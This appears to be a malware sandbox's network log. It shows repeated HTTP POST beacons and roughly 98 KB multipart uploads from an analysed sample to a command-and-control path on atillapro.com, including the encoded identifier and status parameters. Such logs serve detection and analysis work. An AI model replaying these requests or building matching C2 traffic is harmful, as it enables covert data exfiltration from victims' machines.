Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgxOTc=Host: atillapro.comContent-Length: 98349Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgyNDE=Host: atillapro.comContent-Length: 98393Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
